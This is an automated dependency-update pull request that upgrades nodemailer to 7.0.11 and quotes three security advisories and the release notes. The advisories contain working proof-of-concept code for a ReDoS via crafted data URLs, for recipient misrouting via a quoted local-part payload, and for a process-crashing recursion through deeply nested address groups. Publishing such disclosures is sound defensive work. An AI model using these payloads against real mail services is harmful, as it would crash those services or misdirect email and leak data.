Update dependency nodemailer to v7 [SECURITY]

[renovate]

This PR contains the following updates:

Package	Change	Age	Confidence
nodemailer (source)	6.9.8 → 7.0.11

⚠️ MAJOR version ⚠️

GitHub Vulnerability Alerts

GHSA-9h6g-pr28-7cqp

Summary

A ReDoS vulnerability occurs when nodemailer tries to parse img files with the parameter attachDataUrls set, causing the stuck of event loop.
Another flaw was found when nodemailer tries to parse an attachments with a embedded file, causing the stuck of event loop.

Details

Regex: /^data:((?:[^;];)(?:[^,])),(.)$/

Path: compile -> getAttachments -> _processDataUrl

Regex: /(<img\b[^>]* src\s*=[\s"']*)(data:([^;]+);[^"'>\s]+)/

Path: _convertDataImages

PoC

https://gist.github.com/francoatmega/890dd5053375333e40c6fdbcc8c58df6
https://gist.github.com/francoatmega/9aab042b0b24968d7b7039818e8b2698

async function exploit() {
   const MailComposer = require(\"nodemailer/lib/mail-composer\");
   const MailComposerObject = new MailComposer();

   // Create a malicious data URL that will cause excessive backtracking
   // This data URL is crafted to have a long sequence of characters that will cause the regex to backtrack
   const maliciousDataUrl = 'data:image/png;base64,' + 'A;B;C;D;E;F;G;H;I;J;K;L;M;N;O;P;Q;R;S;T;U;V;W;X;Y;Z;'.repeat(1000) + '==';

   // Call the vulnerable method with the crafted input
   const result = await MailComposerObject._processDataUrl({ path: maliciousDataUrl });
}

await exploit();

Impact

ReDoS causes the event loop to stuck a specially crafted evil email can cause this problem.

CVE-2025-13033

The email parsing library incorrectly handles quoted local-parts containing @​. This leads to misrouting of email recipients, where the parser extracts and routes to an unintended domain instead of the RFC-compliant target.

Payload: "xclow3n@gmail.com x"@​internal.domain
Using the following code to send mail

const nodemailer = require("nodemailer");

let transporter = nodemailer.createTransport({
  service: "gmail",
  auth: {
    user: "",
    pass: "",
  },
});

let mailOptions = {
  from: '"Test Sender" <your_email@gmail.com>', 
  to: "\"xclow3n@gmail.com x\"@&#8203;internal.domain",
  subject: "Hello from Nodemailer",
  text: "This is a test email sent using Gmail SMTP and Nodemailer!",
};

transporter.sendMail(mailOptions, (error, info) => {
  if (error) {
    return console.log("Error: ", error);
  }
  console.log("Message sent: %s", info.messageId);

});

(async () => {
  const parser = await import("@&#8203;sparser/email-address-parser");
  const { EmailAddress, ParsingOptions } = parser.default;
  const parsed = EmailAddress.parse(mailOptions.to /*, new ParsingOptions(true) */);

  if (!parsed) {
    console.error("Invalid email address:", mailOptions.to);
    return;
  }

  console.log("Parsed email:", {
    address: `${parsed.localPart}@&#8203;${parsed.domain}`,
    local: parsed.localPart,
    domain: parsed.domain,
  });
})();

Running the script and seeing how this mail is parsed according to RFC

Parsed email: {
  address: '"xclow3n@gmail.com x"@​internal.domain',
  local: '"xclow3n@gmail.com x"',
  domain: 'internal.domain'
}

But the email is sent to xclow3n@gmail.com

Impact:

• Misdelivery / Data leakage: Email is sent to psres.net instead of test.com.

• Filter evasion: Logs and anti-spam systems may be bypassed by hiding recipients inside quoted local-parts.

• Potential compliance issue: Violates RFC 5321/5322 parsing rules.

• Domain based access control bypass in downstream applications using your library to send mails

Recommendations

• Fix parser to correctly treat quoted local-parts per RFC 5321/5322.

• Add strict validation rejecting local-parts containing embedded @​ unless fully compliant with quoting.

CVE-2025-14874

Summary

A DoS can occur that immediately halts the system due to the use of an unsafe function.

Details

According to RFC 5322, nested group structures (a group inside another group) are not allowed. Therefore, in lib/addressparser/index.js, the email address parser performs flattening when nested groups appear, since such input is likely to be abnormal. (If the address is valid, it is added as-is.) In other words, the parser flattens all nested groups and inserts them into the final group list.
However, the code implemented for this flattening process can be exploited by malicious input and triggers DoS

RFC 5322 uses a colon (:) to define a group, and commas (,) are used to separate members within a group.
At the following location in lib/addressparser/index.js:

https://github.com/nodemailer/nodemailer/blob/master/lib/addressparser/index.js#L90

there is code that performs this flattening. The issue occurs when the email address parser attempts to process the following kind of malicious address header:

g0: g1: g2: g3: ... gN: victim@example.com;

Because no recursion depth limit is enforced, the parser repeatedly invokes itself in the pattern
addressparser → _handleAddress → addressparser → ...
for each nested group. As a result, when an attacker sends a header containing many colons, Nodemailer enters infinite recursion, eventually throwing Maximum call stack size exceeded and causing the process to terminate immediately. Due to the structure of this behavior, no authentication is required, and a single request is enough to shut down the service.

The problematic code section is as follows:

if (isGroup) {
    ...
    if (data.group.length) {
        let parsedGroup = addressparser(data.group.join(',')); // <- boom!
        parsedGroup.forEach(member => {
            if (member.group) {
                groupMembers = groupMembers.concat(member.group);
            } else {
                groupMembers.push(member);
            }
        });
    }
}

data.group is expected to contain members separated by commas, but in the attacker’s payload the group contains colon (:) tokens. Because of this, the parser repeatedly triggers recursive calls for each colon, proportional to their number.

PoC

const nodemailer = require('nodemailer');

function buildDeepGroup(depth) {
  let parts = [];
  for (let i = 0; i < depth; i++) {
    parts.push(`g${i}:`);
  }
  return parts.join(' ') + ' user@example.com;';
}

const DEPTH = 3000; // <- control depth 
const toHeader = buildDeepGroup(DEPTH);
console.log('to header length:', toHeader.length);

const transporter = nodemailer.createTransport({
  streamTransport: true,
  buffer: true,
  newline: 'unix'
});

console.log('parsing start');

transporter.sendMail(
  {
    from: 'test@example.com',
    to: toHeader,
    subject: 'test',
    text: 'test'
  },
  (err, info) => {
    if (err) {
      console.error('error:', err);
    } else {
      console.log('finished :', info && info.envelope);
    }
  }
);

As a result, when the colon is repeated beyond a certain threshold, the Node.js process terminates immediately.

Impact

The attacker can achieve the following:

1. Force an immediate crash of any server/service that uses Nodemailer
2. Kill the backend process with a single web request
3. In environments using PM2/Forever, trigger a continuous restart loop, causing severe resource exhaustion”

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Release Notes

nodemailer/nodemailer (nodemailer)

v7.0.11

Compare Source

Bug Fixes

• prevent stack overflow DoS in addressparser with deeply nested groups (b61b9c0)

v7.0.10

Compare Source

Bug Fixes

• Increase data URI size limit from 100KB to 50MB and preserve content type (28dbf3f)

v7.0.9

Compare Source

Bug Fixes

• release: Trying to fix release proecess by upgrading Node version in runner (579fce4)

v7.0.7

Compare Source

Bug Fixes

• addressparser: Fixed addressparser handling of quoted nested email addresses (1150d99)
• dns: add memory leak prevention for DNS cache (0240d67)
• linter: Updated eslint and created prettier formatting task (df13b74)
• refresh expired DNS cache on error (#​1759) (ea0fc5a)
• resolve linter errors in DNS cache tests (3b8982c)

v7.0.6

Compare Source

Bug Fixes

• encoder: avoid silent data loss by properly flushing trailing base64 (#​1747) (01ae76f)
• handle multiple XOAUTH2 token requests correctly (#​1754) (dbe0028)
• ReDoS vulnerability in parseDataURI and _processDataUrl (#​1755) (90b3e24)

v7.0.5

Compare Source

Bug Fixes

• updated well known delivery service list (fa2724b)

v7.0.4

Compare Source

Bug Fixes

• pools: Emit 'clear' once transporter is idle and all connections are closed (839e286)
• smtp-connection: jsdoc public annotation for socket (#​1741) (c45c84f)
• well-known-services: Added AliyunQiye (bb9e6da)

v7.0.3

Compare Source

Bug Fixes

• attachments: Set the default transfer encoding for message/rfc822 attachments as '7bit' (007d5f3)

v7.0.2

Compare Source

Bug Fixes

• ses: Fixed structured from header (faa9a5e)

v7.0.1

Compare Source

Bug Fixes

• ses: Use formatted FromEmailAddress for SES emails (821cd09)

v7.0.0

Compare Source

⚠ BREAKING CHANGES

• SESv2 SDK support, removed older SES SDK v2 and v3 , removed SES rate limiting and idling features

Features

• SESv2 SDK support, removed older SES SDK v2 and v3 , removed SES rate limiting and idling features (15db667)

v6.10.1

Compare Source

Bug Fixes

• close correct socket (a18062c)

v6.10.0

Compare Source

Features

• services: add Seznam email service configuration (#​1695) (d1ae0a8)

Bug Fixes

• proxy: Set error and timeout errors for proxied sockets (aa0c99c)

v6.9.16

Compare Source

Bug Fixes

• addressparser: Correctly detect if user local part is attached to domain part (f2096c5)

v6.9.15

Compare Source

Bug Fixes

• Fix memory leak (#​1667) (baa28f6)
• mime: Added GeoJSON closes #​1637 (#​1665) (79b8293)

v6.9.14

Compare Source

Bug Fixes

• api: Added support for Ethereal authentication (56b2205)
• services.json: Add Email Services Provider Feishu Mail (CN) (#​1648) (e9e9ecc)
• services.json: update Mailtrap host and port in well known (#​1652) (fc2c9ea)
• well-known-services: Add Loopia in well known services (#​1655) (21a28a1)

v6.9.13

Compare Source

Bug Fixes

• tls: Ensure servername for SMTP (d66fdd3)

v6.9.12

Compare Source

Bug Fixes

• message-generation: Escape single quote in address names (4ae5fad)

v6.9.11

Compare Source

Bug Fixes

• headers: Ensure that Content-type is the bottom header (c7cf97e)

v6.9.10

Compare Source

Bug Fixes

• data-uri: Do not use regular expressions for parsing data URI schemes (12e65e9)
• data-uri: Moved all data-uri regexes to use the non-regex parseDataUri method (edd5dfe)

v6.9.9

Compare Source

Bug Fixes

• security: Fix issues described in GHSA-9h6g-pr28-7cqp. Do not use eternal matching pattern if only a few occurences are expected (dd8f5e8)
• tests: Use native node test runner, added code coverage support, removed grunt (#​1604) (be45c1b)

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